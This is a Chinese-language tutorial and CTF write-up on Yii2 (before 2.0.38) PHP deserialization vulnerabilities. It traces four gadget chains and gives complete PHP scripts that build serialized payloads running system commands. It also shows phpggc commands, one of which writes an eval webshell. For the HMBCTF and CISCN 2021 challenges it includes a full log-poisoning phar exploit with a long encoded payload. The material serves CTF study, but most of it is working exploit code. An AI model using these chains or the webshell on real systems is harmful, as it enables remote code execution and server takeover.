站長(zhǎng)資訊網(wǎng)本篇文章帶大家了解yii2框架，分享幾道CTF習(xí)題，通過它們來學(xué)習(xí)yii2框架，希望對(duì)大家有所幫助。
Yii是一套基于組件、用于開發(fā)大型 Web 應(yīng)用的高性能 PHP 框架，Yii2 2.0.38 之前的版本存在反序列化漏洞，程序在調(diào)用unserialize()時(shí)，攻擊者可通過構(gòu)造特定的惡意請(qǐng)求執(zhí)行任意命令，本篇就分析一下yii2利用鏈以及如何自己去構(gòu)造payload，并結(jié)合CTF題目去學(xué)習(xí)yii2框架
Yii2＜2.0.38反序列化
安裝：在 https://github.com/yiisoft/yii2/releases下載2.0.37的版本
然后在 yii-basic-app-2.0.37basicconfigweb.php里面往cookieValidationKey隨意給點(diǎn)值，運(yùn)行 php yii serve，新建一個(gè)控制器
yii-basic-app-2.0.37basiccontrollersTestController.php
<?php namespace appcontrollers; use yiiwebController; class TestController extends Controller{ public function actionTest($name){ return unserialize($name); } }
就可以進(jìn)行測(cè)試了
?r=test/test&name=
鏈一
鏈的入口在
yii-basic-app-2.0.37basicvendoryiisoftyii2dbBatchQueryResult.php
public function __destruct() { // make sure cursor is closed $this->reset(); }
跟進(jìn)$this->reset();
public function reset() { if ($this->_dataReader !== null) { $this->_dataReader->close(); }
這里的$this->_dataReader可控，并調(diào)用了close()方法，那么可以找到一個(gè)類不存在close()方法，但存在__call方法就可以調(diào)用他了
在yii-basic-app-2.0.37basicvendoryiisoftyii2-giisrcGenerator.php
public function __call($method, $attributes) { return $this->format($method, $attributes); }
這里的$method為close，$attributes為空，繼續(xù)跟進(jìn)format
public function format($formatter, $arguments = array()) { return call_user_func_array($this->getFormatter($formatter), $arguments); }
跟進(jìn)getFormatter
public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; }
似曾相識(shí)的代碼，laravel5.8某條鏈就出現(xiàn)過，這里$this->formatters可控，也就是$this->getFormatter($formatter)這這個(gè)可控，但是$arguments的值我們無法控制，值為空
到這里可以執(zhí)行phpinfo了
<?php namespace yiidb{ class BatchQueryResult{ private $_dataReader; public function __construct($_dataReader) { $this->_dataReader = $_dataReader; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace { $a = new FakerGenerator(array('close'=>'phpinfo')); $b = new yiidbBatchQueryResult($a); print(urlencode(serialize($b))); }
但是我們想要rce的話，還要在yii2中已有的無參方法中進(jìn)行挖掘
這里我們可以使用正則匹配直接搜索含有call_user_function的無參函數(shù)
call_user_func($this->([a-zA-Z0-9]+), $this->([a-zA-Z0-9]+)
然后找到下面兩個(gè)都比較好用
yii-basic-app-2.0.37basicvendoryiisoftyii2restIndexAction.php public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); } return $this->prepareDataProvider(); } yii-basic-app-2.0.37basicvendoryiisoftyii2restCreateAction.php public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); }
這里的$this->checkAccess和$this->id都是我們可控的
所以直接構(gòu)造就行了
<?php namespace yiidb{ class BatchQueryResult{ private $_dataReader; public function __construct($_dataReader) { $this->_dataReader = $_dataReader; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace yiirest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } } } namespace { $c = new yiirestCreateAction('system','whoami'); $b = new FakerGenerator(array('close'=>array($c, 'run'))); $a = new yiidbBatchQueryResult($b); print(urlencode(serialize($a))); }
鏈二
這個(gè)是yii2 2.0.37的另外一條鏈
起點(diǎn)和鏈一相同，是BatchQueryResult類的__destruct，然后是$this->_dataReader->close()，但是這里不找__call，我們?nèi)フ掖嬖?code>close方法的類
找到yii-basic-app-2.0.37basicvendoryiisoftyii2webDbSession.php
class DbSession extends MultiFieldSession { ... public function close() { if ($this->getIsActive()) { // prepare writeCallback fields before session closes $this->fields = $this->composeFields();
這里跟進(jìn)$this->composeFields()
abstract class MultiFieldSession extends Session { protected function composeFields($id = null, $data = null) { $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
這里$this->writeCallback可控，$this是一個(gè)對(duì)象，所以這里調(diào)phpinfo的話應(yīng)該不行，不過可以續(xù)上鏈一的run方法（即那個(gè)無參的方法）
這里直接構(gòu)造即可
<?php namespace yiidb{ class BatchQueryResult{ private $_dataReader; public function __construct($_dataReader) { $this->_dataReader = $_dataReader; } } } namespace yiiweb{ class DbSession{ public $writeCallback; public function __construct($writeCallback) { $this->writeCallback = $writeCallback; } } } namespace yiirest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } } } namespace { $c = new yiirestCreateAction('system','whoami'); $b = new yiiwebDbSession(array($c, 'run')); $a = new yiidbBatchQueryResult($b); print(urlencode(serialize($a))); }
鏈三
我們可以在yii2 2.0.38的commit看到他加了一個(gè)__wakeup
這里限制了鏈一的起點(diǎn)BatchQueryResult無法使用，后面的__call的鏈沒有被破壞，所以我們繼續(xù)尋找一個(gè)__destruct
yii-basic-app-2.0.37basicvendorcodeceptioncodeceptionextRunProcess.php
public function __destruct() { $this->stopProcess(); }
這里繼續(xù)跟進(jìn)stopProcess
public function stopProcess() { foreach (array_reverse($this->processes) as $process) { /** @var $process Process **/ if (!$process->isRunning()) { continue; }
這里的$this->processes可控，所以可以利用$process->isRunning()來進(jìn)行觸發(fā)__call
后面的利用就和鏈一相同了
<?php namespace CodeceptionExtension{ class RunProcess{ private $processes = []; public function __construct($processes) { $this->processes[] = $processes; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace yiirest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } } } namespace { $c = new yiirestCreateAction('system','whoami'); $b = new FakerGenerator(array('isRunning'=>array($c, 'run'))); $a = new CodeceptionExtensionRunProcess($b); print(urlencode(serialize($a))); }
鏈四
同樣的先找__destruct
yii-basic-app-2.0.37basicvendorswiftmailerswiftmailerlibclassesSwiftKeyCacheDiskKeyCache.php
public function __destruct() { foreach ($this->keys as $nsKey => $null) { $this->clearAll($nsKey); } }
這里$nsKey可控，跟進(jìn)clearAll
public function clearAll($nsKey) { if (array_key_exists($nsKey, $this->keys)) { foreach ($this->keys[$nsKey] as $itemKey => $null) { $this->clearKey($nsKey, $itemKey); } if (is_dir($this->path.'/'.$nsKey)) { rmdir($this->path.'/'.$nsKey); } unset($this->keys[$nsKey]); } }
這里沒有觸發(fā)__call的地方，但是存在字符串的拼接，可以觸發(fā)__toString
隨便找找就找到了yii-basic-app-2.0.37basicvendorcodeceptioncodeceptionsrcCodeceptionUtilXmlBuilder.php
public function __toString() { return $this->__dom__->saveXML(); }
同樣用他去觸發(fā)__call
<?php namespace { class Swift_KeyCache_DiskKeyCache{ private $path; private $keys = []; public function __construct($path,$keys) { $this->path = $path; $this->keys = $keys; } } } namespace CodeceptionUtil{ class XmlBuilder{ protected $__dom__; public function __construct($__dom__) { $this->__dom__ = $__dom__; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace yiirest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } } } namespace { $c = new yiirestCreateAction('system','whoami'); $b = new FakerGenerator(array('saveXML'=>array($c,'run'))); $a = new CodeceptionUtilXmlBuilder($b); $d = new Swift_KeyCache_DiskKeyCache($a,array('kawhi'=>'kawhi')); print(urlencode(serialize($d))); }
phpggc
使用./phpggc -l yii2可以看到有兩條yii2的鏈
可以使用如下命令快速得到鏈，-u指url編碼
./phpggc Yii2/RCE1 system id -u
phpggc的鏈二的終點(diǎn)是一個(gè)eval，所以這里可以直接寫shell，-b指base64編碼
./phpggc Yii2/RCE2 'file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));' -b
CTF題目
[HMBCTF 2021]framework
把題目附件解壓，看到htmlcontrollersSiteController.php
class SiteController extends Controller { public function actionAbout($message = 'Hello') { $data = base64_decode($message); unserialize($data); }
這里可以這樣傳參
?r=site/about&message=
拿鏈一打了一下，發(fā)現(xiàn)一下system等函數(shù)被ban
這里用phpggc yii2的鏈二寫一個(gè)shell進(jìn)去，然后用蟻劍的 apache/mod 繞 disable，運(yùn)行 /readflag 即可獲取 flag
[CISCN2021 Quals]filter
據(jù)說這是配置文件里面的重要內(nèi)容，或許對(duì)你有用！！
'log' => [ 'traceLevel' => YII_DEBUG ? 0 : 0, 'targets' => [ [ 'class' => 'yiilogFileTarget', 'levels' => ['error'], 'logVars' => [], ], ], ],
看到附件的SiteController.php就改了這個(gè)地方
public function actionIndex() { $file = Yii::$app->request->get('file'); $res = file_get_contents($file); file_put_contents($file,$res); return $this->render('index'); }
yii框架的runtime/logs目錄下有一個(gè)app.log
看一下依賴發(fā)現(xiàn)monolog符合
"require": { "php": ">=5.6.0", "yiisoft/yii2": "~2.0.14", "yiisoft/yii2-bootstrap": "~2.0.0", "yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0", "monolog/monolog":"1.19" },
首先清空日志文件
?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
phpggc生成
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
寫入日志，注意最后面要加個(gè)字符a
/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=78=00=4F=00=69=00=49=00=78=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=45=00=36=00=49=00=6A=00=45=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=6C=00=75=00=61=00=58=00=52=00=70=00=59=00=57=00=78=00=70=00=65=00=6D=00=56=00=6B=00=49=00=6A=00=74=00=69=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=54=00=47=00=6C=00=74=00=61=00=58=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=32=00=39=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=6A=00=64=00=58=00=4A=00=79=00=5A=00=57=00=35=00=30=00=49=00=6A=00=74=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=77=00=61=00=48=00=42=00=70=00=62=00=6D=00=5A=00=76=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=64=00=47=00=56=00=7A=00=64=00=4A=00=41=00=61=00=47=00=73=00=75=00=53=00=31=00=47=00=68=00=54=00=49=00=2B=00=6B=00=4B=00=58=00=33=00=45=00=68=00=2B=00=4D=00=44=00=71=00=54=00=76=00=6E=00=6F=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a
保留phar的內(nèi)容
/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
最后用phar協(xié)議打一下
/?file=phar://../runtime/logs/app.log/test.txt
然后在根目錄找到This_is_flaaagggg
然后用這個(gè)找一下flag即可
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
本文涉及相關(guān)實(shí)驗(yàn)：PHP反序列化漏洞實(shí)驗(yàn) （通過本次實(shí)驗(yàn)，大家將會(huì)明白什么是反序列化漏洞，反序列化漏洞的成因以及如何挖掘和預(yù)防此類漏洞。
相關(guān)文章教程推薦：《yii框架教程》
